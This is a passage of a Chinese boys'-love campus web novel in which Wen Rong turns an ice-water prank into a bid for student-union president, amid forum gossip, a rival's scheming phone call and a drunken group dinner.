“这是个猪都能飞起来的大好事,只要参加了都能拿到钱,没有人不眼红。” “从决定开项目研讨会那天起,学生会这些人就选中了有潜力的项目,等着当股东拿分红。” “所以你不想那些抛弃你的人过得顺。” 周谢:“……” 一语中的让他不知道该如何回答。 或者说,他其实并不想让温绒发现自己这些阴暗的想法,毕竟温绒是个正直的人。 “我只是——” 温绒打断他,“我理解你。” 周谢:“?” “我也不喜欢吹捧林竞航的人过得好。”顿了下,“你想到不通过他们项目的理由了吗?” 周谢:“……” “你还没想到?” 周谢没想到自己有一天会跟温绒一起讨论怎么使坏。 陈旧的木地板被皮鞋踩出吱呀吱呀的声音,两人走上楼梯,窗外的光一束一束往脸上敷,温绒卷长的睫托起光点。 某一刻,他停下脚步,做了个“听人说话”的微妙动作。 周谢奇异地望过去,看见眼睫的光全数落入眸子里,瞳孔都变成金灿灿的颜色。 “我知道了!等会儿你配合我。” 周谢:“?” “走,去教室,我先进。” 温绒陡然亢奋地上楼,一步两个台阶,周谢差点没追上。 搞不明白温绒是什么意思,就见到他推开教室的门。 哗—— 随着教室里的阳光漫出,一阵突兀的寒气扑面而来。 周谢垂眼看见一地碎裂的冰块,水渍浸透木地板,滴答滴答,温绒的裤管向下滴水。 “哈哈哈哈”笑声此起彼伏,大多集中在教室后排。 林竞航坐在正中间,外套大开,衬衫也歪歪扭扭,伸手搭旁边人的肩膀时,衣服拧成一团。 周谢眼底沉了沉,从口袋里摸出方巾,递给温绒:“你想怎么处理。” 温绒没有接,而是望向教室后排。 脸上残留水渍拂过的痕迹,皮肤浮现出湿润质感,透着冻出的血红。 发梢累起水珠,滴答、滴答、滴答、滴在鼻尖。 速度之快,催促着心跳加速。 在沉默的眼神中,笑声渐渐停了。 发出最后一道笑声的男生慌张看向四周,发现每一个人都正襟危坐,视线从嘲弄变为不安。 教室门口站立两个人意外相似的身影,一样的装束,一样的无框眼镜,一样,阴冷的表情。 巨大的压迫感让这间宽敞的教室变得拥挤,紧张互相传染,笼成巨大的网,罩在每个人身上。 咕噜 吞咽声变得明显。 弓弦紧绷,几乎要断裂的一刻,温绒突然甩了甩脑袋,水珠飞旋落地,偏移轨迹的碎发贴紧脑门。 “噗——” 他鼓起腮帮子,向上用力吹一口,刘海飞起来。 独属于少年的小动作缓冲暗潮汹涌的局面,温绒抬起脸,嘴角拉开,露出灿烂的笑容。 众人长松一口气,挺直的肩膀都弯下来。 没有惹毛温绒! “我湿透了。” 温绒低头脱下外套,挽在肘间。 他是很规矩的人,平时按照学校要求好好穿校服,扣子扣到顶,不露一点肉。 而现在,挂在身上的白衬衫布料几乎透明,皮肉下的骨骼跟肌肉若隐若现,背上一双蝴蝶骨,顶起动魄惊心的弧。 “林少爷,要不还是算了,有点过……”有人吞咽唾液,胆大包天地建议。 “……” “……” 无人回应。 每个人都是一盏灯,热烈、笔直射向舞台中央的主人公。 突然,有人站了起来,脸上全然着了魔的样子,唇瓣随着吞咽动作而颤动,走到温绒的桌子前。 温绒做了个仰脖的动作,男生迅速脱下外套想盖住湿淋淋的背,又顿住,把衣服放在桌子上。 “你……你穿我的外套,别感冒了。” 温绒沉默望着他,直到周谢走上来,伸手拨开男生,坐在温绒旁边,“这是宣传部部长。” 温绒略歪一下脑袋,“为什么要给我衣服,不是你们让我变成这样的吗?” 男生浑身僵硬一瞬,连忙解释,“不是,我没——” “不需要道歉,反正我也不记得你是谁。” 平静的声音像是一道惊雷当空劈下,让每一道痴迷的目光都转为惊恐,铺天盖地的失落感袭来。 ——温绒并不介意这件事,因为他连我是谁都不知道。 被忽视准准戳中弗罗里曼学院每一个学生的痛处,因为他们都曾是天之骄子,在自己的圈子里众星捧月,然而来到弗罗里曼学院,一年、两年、三年……他们被越来越多的天才衬托得平平无奇。 “我没有。”男生含着声解释,像要哭了。 对,不是我们做的。 一些人松了口气,减轻负罪感。 “你以为,旁观者不算帮凶吗?” 温绒伸手把衣服推到地上。 布料砸在木地板上,声音很轻,却像是重锤砸在男生身上,男生剧烈颤抖。 他想再开口解释,温绒撑着桌面站起来,绕过周谢,走到讲台上。 发梢又积下水珠,并不多,顺着脖颈上的筋骨,流入裹紧的衣襟。 狼狈的他面容镇定,好像校庆时站在讲台上向媒体自我介绍。 “砰砰” 指尖扣响桌面。 “我想竞选学生会会长。” “什么?” 沉迷中的众人反应了两秒,顿时大惊: “新会长不是林竞航吗?” “什么竞选?没听说消息啊。” 啪—— 一道巨响打断悉悉索索的议论。 讲台上,温绒捡起刚砸在地上的黑板擦,继续面不改色地说:“为了展示我的诚意,在这里给大家上一课——泼冷水这种事太幼稚,作为成年人,或者说作为弗罗里曼学院学生会的成员,该怎么有格调地针对一个人。” “……” 万籁俱寂,温绒扫视教室一圈,开口:“众所周知,背黄牌的学生无法得到学校的任何资源。” “所以——” “周谢,给教室里每一个人罚黄牌。” “什么?” 众人目瞪口呆,不敢相信温绒说的话。 罚黄牌!? 还是全体。 众人看向周谢。 周谢在众目睽睽之下点头:“好。” “会长,为什么……” 周谢压着下巴,眼睛斜过去,“自己做了什么不知道吗?” “我们没有做,是林竞航——” 周谢再次阴森地瞥过去,没说话,几个着急解释的人也不敢开口了。 随即,绝望的人看向林竞航,“林少爷,这……” “噗嗤”林竞航无所谓地笑,“罚黄牌很恐怖吗?等我正式成为会长,给你们全消了。” 众人如释重负,隐隐有重拾底气的架势。 “你连这件事的严重性都不知道,真的能胜任学生会会长的职位吗?” 温绒在讲台上悄然开口,“项目研讨会开在你上任之前,现在罚出黄牌,教室里所有人参与的项目,没有任何一个可以通过。” “靠!” 众人如坠冰窖,终于反应过来现在被罚黄牌的影响有多大。 “怎么办,我好不容易谈好项目。” “完了,我们都准备快一个月了。” “还连累我们项目的其他人。” 温绒敲敲桌子,第一下没有打断众人紧张的议论,第二下再次摔黑板擦,众人醒神。 他微笑道,“同学们,现在林竞航有两条路。” “一,任我杀鸡儆猴,让学校里所有人知道,他保不住任何一个跟着他犯事的人。” “二、他上任后到校董会上据理力争,为你们单独再开一次项目研讨会。” 林竞航无所谓道,“那就再开一次咯。” 笑意更深,温绒抬手,直直指向林竞航:“看到了吗?这就是你们想跟的人。没有轻重,看不清形势,保不住你们,甚至想出在门上放冰桶这种低端损招,以一己之力把你们变成外城区的贫民小混混。” “他公然在弗罗里曼学院这所世界顶级名校开夜店,让女团门进来钓金龟婿,拍摄照片发到蓝书上,让每一个出现在照片上的学生形象都受到影响,校庆时挽回的口碑一夜崩塌。” “他甚至连项目研讨会有多重要的概念都没有。” “联邦一年一次的国会不会因为任何人在一个月内连开两届,项目研讨会给的资源也只有一次分配机会。” 林竞航语塞,眼睛瞪大,找不到可以反驳温绒的话。 众人纷纷看向他,眼神产生细微的变化。 经过温绒这一提醒,众人意识到追捧林竞航似乎不是一个划算的买卖。 砰砰。 温绒第三次扣响桌面。 众人迅速回头,不需要温绒再做大动作来吸引注意力。 “这才是如何快狠准地针对一个人,大家学会了吗?” 学会了。 这样直白地把林竞航的丑陋剖开,即使他们想抗拒温绒的灌输,都不得不回忆起这段时间发生的一切事情,从细枝末节中作证:林竞航确实是个不怎么样的领导。 被美好□□升腾的欲望顷刻化为恐惧。 一种对危险物品产生的直觉悄然生出。 ——不要碰。 “会长,我刚进来不久,没看到他们操作,跟我没关系。”突然有人出声。 像是一个水阀,打开了后,无数的声音紧接着其他人跟着解释: “会长,我刚有阻止过他们。” “会长,我……” 手机来信的提示音让所有人闭上嘴- 学生会集体被罚黄牌,震惊全校。 《今天咋了?荷官下任前牌瘾大发?》 [小道消息,温绒第一天上课,是湿透了出来的,疑似被泼水。] [荷官冲冠一怒为红颜?] [不怪荷官,早上温绒跟我打招呼了,那一刻我甚至愿意为他去死。] [天,他也跟你打招呼了?早上他也跟我打招呼了,我还以为在做梦。] [???怪我起太晚?我要是早点起,他是不是也要跟我打招呼。] [靠!五点真的太早了,有没有他晚上吃饭的具体时间点,我去碰一碰,得到一句晚上好,说不定晚上能做个美梦。] [不是,话题怎么又又又转到温绒身上了,咱们不是在讨论学生会被集体罚黄牌吗?] [罚不罚牌跟我没关系啊,温绒比较重要。] [对啊,关我屁事,又不是我被罚。] [喜闻乐见,一直都是学生会的罚老子,现在总算看到他们被罚了,爽。] [你们都没意识到吗?罚黄牌不能向学校提申请,那项目研讨会……] [woc!那跟他们有关联的项目是不是都不能被通过。] [对,整组的人都被连累了。] [靠!我们组好像有一个,我得找组长赶紧踢人。] [来不及了,报名表都交上去了。] [完了完了,我呕心沥血准备二十年的项目,好不容易有一个项目研讨会能出头,现在全打水漂了。] [不是,有必要罚那么多人吗?不就泼个水,又不会死。] [对对度,一下子罚那么多人黄牌,学校没意见吗?] [理由写了,寻事滋事。而且校长哪管过罚黄牌的事,要不荷官怎么能在学校横着走呢,他真可以随便罚。] [我好奇了,真的只是泼水吗?是不是对温绒做了其他事啊,被罚成这样。] [刚刚我去医务楼遇见温绒了,医生说好像发烧了。] [靠,都把我男神弄生病了?有点过分。] [泼的水好像刚从冰箱里拿出来,我上课的时候看见有食堂大叔抬着一桶冰过去。] [这太过分了,虽然这几天除了太阳,但现在是冬天啊。] [学生会这些人跟赵泽阳有得一拼。] [怪low的,没想到学生会的人也会干这种事。] [小道消息:主导人是林某。] [我记得他好像跟赵泽阳关系不错,之前跟赵泽阳去泡夜店。] [三年前他不是被赵泽阳欺负过吗?还能跟赵泽阳冰释前嫌?] [谁知道呢。] [特招生跟特招生还是不一样的,我男神真牛,林某就算摇身一变当了总统侄子,跟我男神的差距还是那么那么大。] 帖子里回复不断,迅速成为今晚所有人的电子榨菜。 本来还有很多乐子要说,突然,一个《黒鸽新闻:人人都可以竞选学生会会长》的帖子出现。 发帖人:温绒。 据小编了解,弗罗里曼学院学生会会长从来都是竞选制,从来没有哪一任是直接任命。 这次学生会会长更换完全不符合规定,更像是校领导中有人暗箱操作开后门。 身为弗罗里曼学院的一员,向校长实名抗议,拒绝潜规则,拒绝无德无行的人成为学校管理者。 温绒是论坛里的热门人物,每次发帖都“动魄惊心”,这次也不例外。 当然,这次更重要的是,温绒在末尾写了这么一句: 小编私以为,温绒更适合做学生会会长。 [哈哈哈哈哈,男神你有点可爱。] [怎么还实名制推荐自己的啊?] [宝贝(不是),男神,下次别扯那些有的没的,直接说你想要就行。不就是个学生会会长,你想当校长我都赞同。] [支持!宝贝,我相信如果你来当学生会会长,一定不会乱罚黄牌。] [我也赞同!顺便问问:如果这事儿成了,你能每天都跟我说早晚安吗?我想听着你的声音入睡。] 时野:[?] [对不起时哥,我只是想跟未来的学生会会长打好关系,对你男朋友绝对没有非分之想。] 莱昂:[?] 周谢:[?] [默默问一句,诸位目前的身份是真男友,还是绯闻男友?] [ps:真诚发问,不然我猜不出问好是什么意思。]- 医务楼内,温绒顶着退烧贴,拧紧眉头看向面前的三个人。 “为什么发问号?我不是麻烦你们帮我在帖子里写支持吗?” 时野别开脸,“发送点快了,我本来要写的。” 莱昂给温绒递上杯水,“刚才忙着给你倒水,不小心划到屏幕了。” 周谢斜一眼,“我看他们这么发,以为是统一格式。” 温绒:“……” 温绒无言,低头在论坛里敲字:[只是朋友。] 第103章 第 103 章 你更喜欢跟谁接吻?…… 消息发出去, 温绒撕下退烧贴。 净白皮肤上残留冰凉的膏体,一接触空气,冻得他“嘶”了一声。 病房内只有四人, 小小的动静都让余外三人迅速看过来。 对视几秒,莱昂伸手扣到温绒手腕上,“我送你回宿舍。” 只是很轻地拢一下,跟温绒的皮肤直接尚有余量,时野差点没忍住伸手去推开。 他把两只手都背到身后,锋利的眉眼向中间挤了挤,又艰难舒展开, “嗯,莱昂送你回宿舍。” 这是游乐园回来那晚他跟莱昂达成的共识。 莱昂这人陋习很多,说出来的话要么歹毒下流到叫人冒火, 要么扒拉拱火。 时野知道自己追过来莱昂肯定会生气,只是没想到一开口,不是以往那些嘲讽, 而是少有的凝重,给他递了支烟。 两人一起在阳台上依靠尼古丁平复情绪。 不知道过了多久, 时野听到莱昂问:“你妈爱你爸吗?” 胸口顿时怒气上涌,“艹,你再提时常远——” “在他们身上,你看出来爱的表现形式是什么了么。” “……”时野顿了下, 不爽地答:“死缠烂打,没脑子,没道德,不要脸。” “你看,这就是爱的表现形式。” 时野冷笑, 对这样的表现形式嗤之以鼻。 但下一秒,耳边传来让他再也笑不出来的话。 “温绒说,他喜欢我。” 星火在黑暗中一抖,时野甩了甩手,微风稀释被烟头烫到的剧痛。 “是么。”他嗓音发颤,尽量维持镇定。 又不想落于下风,绷着面子假装淡定:“他刚才说,我可以缠他缠到死,他永远不会拒绝我。” 气氛陷入一片死寂。 时野有种险胜的感觉,却笑不出来。 跟自己从小一起长大的朋友抢人有什么好高兴的。 曾经时野觉得人生最幸福的事是爸妈干到退休,自家老婆跟莱昂老婆天天一起吃吃喝喝玩玩,自家孩子跟莱昂家孩子一块儿玩到大。 哦,勉强可以加入周谢跟李奥家。 时野用力吸一口,尼古丁散掉这些从他妈去世就发生改变的期望。 在复杂的情绪中,又夹杂着一个念头。 幸好温绒喜欢的是莱昂。 莱昂不是烂人,温绒不会变得跟他妈一样。 “那你有没有想过,现在这个境地,温绒没跟你或者我交往的原因是什么?” 闻言时野又升起希望。 哦,原来告白了,但没跟莱昂在一起。 人果然不能太沉浸于思考,越思考越是往坏的结果去。 时野哼着声,“你继续说,我跟着分析分析。” “他说完喜欢我,然后说,没钱买房子,成绩也不好,没办法对我负责。” “噗——” 扣 裙64柒7 54九 39 对时野这些人来说,没钱没房简直是最没有说服力的理由。 “我不质疑温绒说的话,关于交往这件事,他绝对认真思考过利弊。” 顿了下,莱昂一字一句道,“换而言之,我跟你都还没完美到让他失去理智。” 那一晚,时野躺在床上想了很多。 想莱昂说的话,想自己哪里做得不好,想到游乐园里,温绒跟莱昂欣然接受他的加入—— 不是,为什么莱昂会接受。 如果是我,我肯定不乐意。 为什么呢…… 时野猛然坐起,骂了声艹 莱昂刻意在温绒面前完美表现,像个体贴懂事的“正宫”,直接把他比了下去。 焦虑一夜,时野睁着眼睛迎接白天,最后在上莱昂的车时恍然明白,学不透《10天速成绿茶》,只能学莱昂,把吃醋的小心思收起来,当一个“大度”的人。 这种“大度”不好学,折磨人,心里烧着一团火。 余光瞥见周谢还在,忍不住抬拳挥到他肩膀上,“你现在连学生会那些人都管不住了?这么废物。” 不成想周谢倒退几步,扶着病床猛烈咳嗽。 时野愣住,“喂,我又没用力。” “咳咳。” “我——我艹!” 时野刚伸手扒拉周谢,手还没碰上去,鼻梁上突然遭到一拳头,顿时眼冒金星,血哗啦涌出。 “你他大爷的!阴险。” 周谢扯了扯嘴角,随手递过去一张纸,“我也没用力。” 说完,走到窗外,恰好看见温绒坐上莱昂的车。 莱昂拉的门,还埋身帮忙系安全带。 只是系安全带吗?为什么现在过去了两分钟,还在那里。 隐隐意识到什么的周谢眼底暗了暗,“温绒没有发烧,来医务楼是我的主意。” “我让他回寝室洗了脸。本身皮肤薄,温水过一遍就红得不行。” 又自顾自说:“从某些方面来说,也不全是我的主意。针对林竞航需要一个让全校所有人都信服的理由。” “你针对谁还需要告诉别人理由?”一顿操作成功止血的时野终于回话。 他最了解周谢的阴险,从小到大,周谢都不是那种干坏事还装有苦衷的人。 周谢:“说实话,对我来说确实不需要。但现在行动的人是温绒,我尊重他的做事风格。” 莱昂终于从关上副驾驶的车门,从这里望过去,脸上饕足意满。 周谢望着越来越远的车,缓慢开口,“被泼水是温绒的选择,他认为受点委屈能一举两得。” “既然选择站到他这边,就只好顺着他的思路把这件事收尾。” 学生会的人被集团罚黄牌,连带着项目里一批人无法通过,黒鸽上已经有人把仇恨放在温绒身上。 但现在温绒生病了,仇恨自动转移,其他人只会觉得被罚黄牌这群人做得太过分。 周谢对自己的收尾工作极其满意,这些话更想给温绒说,让他知道,自己是多完美的一个合作对象。 只是温绒跟莱昂走了。 一定也跟莱昂接吻了。 吻了很久。 不久前,温绒也跟时野接吻过。 就在他送他回房间的那个晚上。 周谢从口袋里摸出烟,抖着手正准备在唇边点燃,突然想到温绒曾经拒绝自己抽烟,又咔一下关掉打火机,牙齿用力,咬扁烟头- 天的另一边,猎豹嘶声力竭地吼叫震动别墅。 叫一声,滋一声。 叫一声,滋一声。 直到一根电棍被摔在笼子上,林竞航揉着手腕站起,“再换一只来。” 铁笼子里,猎豹四肢伏地,肚子上的伤口像嘴,顺着急促呼吸的频率张合,血湍湍外涌。 管家过了几秒才应声,“好的,少爷。” 他虽然不是动物保护协会的爱心人士,但看到此情景,也不禁反感。 动物又不是人,哪里看得出人的心情好不好,凑上前只是想一起玩罢了,不至于因此虐打成这样。 少爷怎么变成这样了? 虽然林竞航刚回家时也不是个乖顺的孩子,但之前比现在正常得多。 现在就像……疯了一样,不知道什么时候会突然不高兴,不高兴了又会做什么可怕举动。 疑惑归疑惑,林竞航吩咐的事情照办,打电话找人换一只猎豹来后,管家想起林竞航喜欢喝酒,到红酒柜里拿了些不错的,想让他缓一缓心绪。 谁知道走到二楼,就听见吼声。 “他当时那样说,我怎么来得及反驳。现在所有人都以为在门上放冰桶是我出的主意,你说怎么办。” 电话那头成熟的声音疑惑道,“不是你的主意?” 是王斯辰身边秘书的声音,以前这位秘书常跟王艾伦通话,管家很熟悉。 林竞航:“当然不是我。” “是谁?” “是……” 林竞航迟钝,“我忘了。学生会这么多人,我怎么可能把每张脸跟人名对上号。而且那天晚上灯光那么暗,我又喝醉,根本分不清说话的是谁。” “少爷,你被试探了。”秘书斩钉截铁道。 “试探?” “弗罗里曼学院里学生都是人精。” “他们因为议员不得不巴结你,但出于各种考虑,也不想得罪温绒。所以给你提了这个无伤大雅的意见,既不真正伤害温绒,也能满足你的要求。” 继续说:“其实不论从哪个方面来说,你不都该同意这种无聊的招数。你同意了,就被他们摸清了……水平。” “什么水平。” 秘书沉默了下,大概是不想把话说得太明白,改了个词,“会让他们觉得你好糊弄。” “艹你妈的!我要弄死他们。” “冷静,现在我跟你重新复盘当时在课上的发生的事。” “老子不想再回忆——” 秘书打断他,“下次再遇到这种事,你知道该怎么处理吗?” 林竞航:“……” 秘书:“舆论上最忌讳被对方先发制人,以温绒的视角来看,他根本不知道是不是你弄的,但一开口就把锅扣在你头上,明显想把矛头集中在你身上。” 林竞航张了张嘴,说不出话,只能一脚踢翻垃圾桶,发出怒吼。 吼完冷静了,才说:“对,他后来说他就是在针对我。” “随后他说了两条路,又堵死其中一条,迫使你只能按照他说的,被杀鸡儆猴。” “我也没有其他办法了。” “没办法是因为你现在还陷在他的圈套里。特地说第一,第二……就是为了不让你想第三。” “什么第三,我保证让项目研究会开第二次?” “怎么还……” 秘书叹了口气,“少爷,项目研讨会不能开第二次。” “那你还不是跟我一样,你也没想出第三条。” 电话那头传来吸气声,“少爷,项目研讨会可以延期。” 林竞航眼睛一亮,“对,还可以延期。” “哈!你说得对,可以延期,我当时怎么没有想到。” 秘书没有回答,林竞航扶着额头原地转一圈,又几乎蹦起来,“把项目研讨会延期到我当学生会会长之后不就好了。把学生会这些人的黄牌撤销,再通过他们所有人的项目……” “不要全部通过。” 听得出来,秘书的声音带着慌张。 “那怎么行,他们全是我罩的。” “温绒当时能推动项目研讨会,很大一部分原因是学生们厌倦了不公平。你上任后立马让学生会的项目全部通过,做的太明显,其他人会不满。” “那我让别人的也通过?” “……” 空气静了一瞬。 秘书语重心长道,“学校给的资源是有限的,不可能满足所有人。” “而且……就算全是你手下的人,你也要厚此薄彼才好继续拿捏他们,更何况你现在还不了解手下这些人。” 林竞航:“什么意思?” 秘书再次深吸一口气,“你现在先要分清楚哪些人是真的跟着你,哪些人在假意奉承你。” “我建议你只通过真正跟着你的人的项目,让这些人直到你对他们好,也让其他人知道不跟着你没有好果子吃。” 林竞航终于了然。 原来还有这么多讲究! 他一直觉得这个普通得甚至连战争都没有的世界根本比不上末世,没想到弯弯绕绕一点不少。 “行,就这么办。” “嗯,我接下来要开会,如果少爷还有其他——” 林竞航惊道,“开什么会,你赶紧打电话给校长,让他把项目研究会延后。” “……” 林竞航又转个圈,烦恼地发出一声“嘶——”,又问:“我要怎么知道哪些人真的想跟我哪些人在糊弄我。” 管家听到这里就不敢听了,电话那头的沉默让管家预感不妙。 而且他在楼梯上呆得太久,容易被发现偷听。 管家小心下楼,装作什么都不知道样子,安排佣人准备晚上的酒水。 正忙着,有佣人过来问别墅旁边的网球场怎么处理。 别墅旁边有时野当初建的网球场,每天早上五点球声啪啪响,吵得熬夜喝酒的林竞航睡不着。 所以今早林竞航发话了,让他们把网球场的人清掉。 网球社社长是时野,说句不好听的,这栋别墅也是时野的,他们进来纯粹是鸠占鹊巢,怎么敢去让时野跟网球社的人别来训练。 “怎么办啊,要是处理不好,少爷肯定又发脾气。” 管家叹气,他能有什么办法。 至少在他看来,少爷自己都没办法让时野带着网球社那些人离开网球场,把这种要求推给更没有地位的他们,完全是为难。 种种艰难,叫管家都有些怀念王艾伦了。 至少是王家从小培养到大的孩子,在这些方面多少有数,不会主动招惹时野这样家世的大人物。 “明早以少爷的名义先去试试吧。” 佣人迟疑点头,第二天大早就按照吩咐去了网球场。 没见到时野,佣人还松了口气。可她还不知道网球社这些人早之前在时野的别墅过得潇洒,时野搬出去后还想着拿别墅当网球社的活动室,然而林竞航一来,不仅计划落空,还被“赶”走,心中积攒着怨气。 得知林竞航要清人,一个二个脾气上来,打球更用力了,抽得更响。 从有人“不小心”把球打进别墅开始,势态一发不可收拾,别墅外边一圈,剩不下几块好玻璃。 在学生会被罚黄牌的第二天,《林竞航有什么牛逼成绩吗?凭什么住进时野的别墅》成为热帖。 [早就想问了,他拿世冠了还是得科技奖了?凭什么一入校就占时野的别墅?荷官当年都没这排场,人家是明牌的总统亲儿子,还不是侄子呢。] [对对对,还带佣人来学校,不知道哪来的这么大权利,完全不符合学校规定。] 有林竞航身边的人回复:[时野当初不也带了?] [时野带的是一整个网球训练团队。林竞航带的什么啊?没出道的女团,夜夜拍照片发蓝书。现在全联邦的网友还以为弗罗里曼学院是夜店。] [最好笑的是今早林竞航竟然不许我们在网球场训练,倒反天罡了属于是。] [他到底明不明白,那块地属于我们社长。他能住进去不是因为他叔叔是王议员,而是他不要脸。] [哥们悠着点,实名的。] [温绒都不怕我怕什么。] 时野:[所以我提议,如果学生会会长真的要换,只能换成温绒。] [???] [???] [时哥,你现在的首要任务是把别墅要回来。] 时野:[一个破别墅有什么好要的,限制一堆,不如住校外,还可以建靶场。] 联邦禁枪,靶场是普通人能摸到枪的唯一场所。 只是靶场□□严格,管理也严,全联邦也就两三个。 时野要是建了靶场,那不就是天天都可以摸枪。 没有男人可以抗拒枪的诱惑。 [哇靠,别墅突然就不香了。时哥,小弟从小就爱谍战片,能让我去摸摸枪吗?] 时野:[还在建,等温绒当上学生会会长,应该就建好了。] [明白!现在就写信到校长邮箱,申请让温绒当学生会会长。] 一场由网球社引发的讨论最终以写信给校长结束。 莱昂跟周谢也行动着,疏通恩斯特大法官跟几位校董,一起找校长建议把林竞航更换成温绒- 天气预报说,弗罗里曼学院即将提前进入春天。 太阳灼热,整个学院都滚烫起来,校务楼的灯亮一整夜,人声鼎沸。 温绒每天都能在新闻社的群里看到林启正吼叫发疯,张锦程跟张麟不回复,不是习惯,是他们也在忙。 这样的忙忙碌碌把社团投票都挤掉,直到40万的钱发下来,才回过神,他们竟然完成了开学时温绒设定的社团目标。 当然,庆功会要等项目研讨会后再开。 周五早上,周谢单独给温绒发消息:[今天去酒店,我做饭。] 消息发出,很快收到回复:[好。] 截图,转发至四人群。 周谢:[谁买菜?] 时野:[我下午有训练。] 莱昂:[我跟温绒一起去。] 周谢:[你问温绒了?] 莱昂:[不用问,他肯定跟我一起。] 时野:[等等,我也要去。] 莱昂:[训练?] 时野:[教练要去相亲,放假。] 周谢不拆穿这个现想的借口,[那就你们三去买菜,我在酒店等你们。] [好] [好] 周谢本来要关手机,一条新消息弹出来。 [表哥,我呢?] 被彻底忽略的李奥在这一刻终于被想起。 周谢:[洗菜。] 分配好工作,群里本该安静继续安静,各自去干各自的活。 时野又发言:[我问一句,你们今天都穿校服吗?]? 什么鬼问题。 周谢脑子转得快,在无语片刻后明白时野的潜台词,于是回:[不穿校服穿什么?] 李奥:[对啊,不穿校服穿什么。] 两个小时后,李奥穿着校服出现在“秘密基地”,瞪大眼睛望着面前风格各异的三个人。 天气就算再晴朗也不是穿着风骚坎肩背心到处逛的季节,而且手臂上的肌肉明显还没凉,全是刚练完拳击的痕迹。 莱昂也不逞多让,在这种时候竟然认可研究中心那套制服,像是马上要上台给一众科研人员演讲。 而他表哥—— 李奥:“表哥,你下午要开会吗?” 莱昂的视线左右挪动,最后露出意味深长的笑,“这套确实适合开会,等会儿做饭会不会给你弄脏?” 他表哥理了理袖扣,淡定道,“我平时也这样穿。” 李奥:“你平时——” 表哥瞪他一眼。 李奥:“……” “那个……” 陌生的声音响起,李奥终于注意到第五个人,旧t恤旧牛仔裤,被衬托得极其朴素的人——温绒。 温绒视线闪躲,“你们先休息,我洗菜。” 很好,唯一的观众拎着菜跑了,厨房里水声哗啦啦地响,三个人的小心思打水漂。 “干嘛?说好穿校服。”时野斜眼。 莱昂笑:“就算到了春天,也不要跟发情的猪一样顶着花棉袄到处乱跑,行吗?” 周谢:“又不是傻子,在学校外穿什么校服。” 李奥:“表哥,我……”穿着校服啊! “是啊,又不是傻子,为什么要穿校服。” 李奥:“我——” 话音未落,莱昂优雅脱下外套,露出设计感十足的衬衫,“我去帮温绒洗菜。” 时野:“我也去。” “不需要那么多人。”莱昂回绝。 李奥试图插入对话,“你去拿酒,拿多点,多了个人。” 话音刚落,六只眼睛齐刷刷射过来。 李奥:“?” 李奥茫然,“我们以前聚餐不是都要喝酒吗?” 男人的饭桌上不可能没酒,四人从小跟着家里参加各种宴会,早早便沾了酒这东西,关系还算不错的时候,常常聚在一起喝一两杯。 只是—— 六束视线又转移到温绒那边。 温绒有所察觉,坚定回答,“我不喝酒。” 华灯初上,远方灯红酒绿全数印在落地窗上。 套房里只亮着微弱的夜灯,五人东倒西歪地围坐在地毯边。 “你们感情好好。”明显喝醉的温绒举起酒瓶子高声尖叫,“能一起长大……真好。” “屁啊!周谢一直嫉妒我什么都玩得比他好。” 周谢悠悠偏头,“醉得够厉害,我认识你的时候,你还只会满地爬,嫉妒你什么?” 温绒被说服,点头:“对啊,荷官嫉妒你什么。” 李奥:“……” 连论坛黑称都出来了吗? 这场面过于好笑,说不喝酒的人第一个醉了,时野跟莱昂不知道怎么也跟着喝,一个靠着沙发沉默发呆,一个跟小时候一样在地上乱滚。 幸好表哥还清醒。 李奥说:“表哥,他们都醉了,要不把他们送回房间睡觉。” 周谢垂头没应,他以为表哥嫌弃时野,于是起身准备自己去捡起表哥不想管的烂摊子。 时野翻个身挥开他,“当然是嫉妒我长得帅身材好无所不能,还……” 李奥:?? 表哥你竟然听得下去? “等等——”他表哥突然举手,做了个暂停的手势,“莱昂你起来,时野也是,李奥你也听着,温绒你……你随意。” 李奥不知道表哥指使两个喝醉的人干嘛,放下时野乖乖坐好。 只见周谢从茶几上摸过来手机,声音拔高,“校长给我来电话。” 哦,是校长有新指示。 “小谢啊~” 等会儿,表哥,你这个声音…… 李奥眼睁睁看着自家不苟言笑的表哥突然变个脸,掐着嗓子吼:叔叔也很难做,你要学会审时夺度。” 这…… 周谢恢复如常,“等会儿他绝对这么说。” 下一秒,电话接通。 “小谢啊,王斯辰通知我把项目研讨会延期,叔叔也很难做……” 李奥隐隐有些感觉不对。 “你要学会审时夺度。” 啪,表哥一巴掌挂断电话,仰头大笑:“哈哈哈哈哈哈哈。”!!!! 李奥不知道该震惊自家表哥挂断了校长的电话,还是表哥现在一反常态的疯癫样。 啊! 表哥……表哥你醉了吗! 莱昂:“噗嗤——” 时野翻个身捶地,“哈哈哈哈。” 李奥:…… 在笑声里,他绝望了。 我靠,只有我没醉。 “你好懂他哦!原来一边给你传命令一边pua你。” pua吗? 李奥还思考pua这个说法准不准确,余光看见温绒笑得人仰马翻,四肢不受控制,那腿抬起来乱晃,手乱摸着,摸到时野大腿,啪啪啪拍好几下一边拍一边笑。 时野陡然间酒醒了,止住了笑,恬不知耻地歪过去,跟妃子侍寝似的,靠温绒肩膀上,“温绒~我的大腿肌好摸吗?” “好摸,我也要长!” “你想长成什么样。” 温绒两只手举起来想要比划,手臂伸展,无意中甩了莱昂的膝盖一巴掌,“这样的!” 莱昂猛一下坐直,“别跟他学,他吃蛋白粉。” “艹!老子才没有,周谢才吃蛋白粉。” “我?” 李奥看见自家表哥对时野做个“过来”的手势,“臭小子你过来,我有话跟你说。” 时野胡乱摆手,“我不。” 又哼,“温绒,他要打我!周谢又要打我,他以前也爱打我。” “李奥,抓住他!” 李奥:“?” “抓好了!” 我没抓好! 他表哥不知道哪只眼睛看到他抓住时野了,举起拳头就要捶时野。 时野装柔弱也就装几秒钟,迅速坐起,用脑袋往前一撞。 砰 两个脑袋敲出巨响,他表哥被弹倒。 李奥:“……” 这些酒鬼到底在干什么! “表哥,你没事吧。” 无语归无语,李奥还是更关心自家表哥,更何况他表哥倒了,时野坐得好好的。 “不用——” 周谢重新坐起来,两串鼻血顺着人中往下流,拂手一抹,半边脸全是血渍,阴狠狠瞪时野一眼,又因为醉意,直白地哼了声“打不过”。 狠厉的眼神不知道怎么瞥到了温绒身上,滴溜转一圈,不怀好意地开口:“会长。” 李奥张大嘴,无语片刻,提醒:“表哥,你才是会长。” 温绒:“嗯嗯。” “嗯什么嗯?!你又不是会长。” “你好烦!” 温绒理直气壮挺胸:“我就是会长,叫我会长,不准叫你。” 李奥:“……” “哦,会长。” 不是,表哥你…… “会长更喜欢跟谁接吻?时野还是莱昂?” 李奥脑子里轰地一声炸开。 接什么吻? 谁跟谁接吻? 天呐—— 这段时间,都发生了什么啊?! 第104章 第 104 章 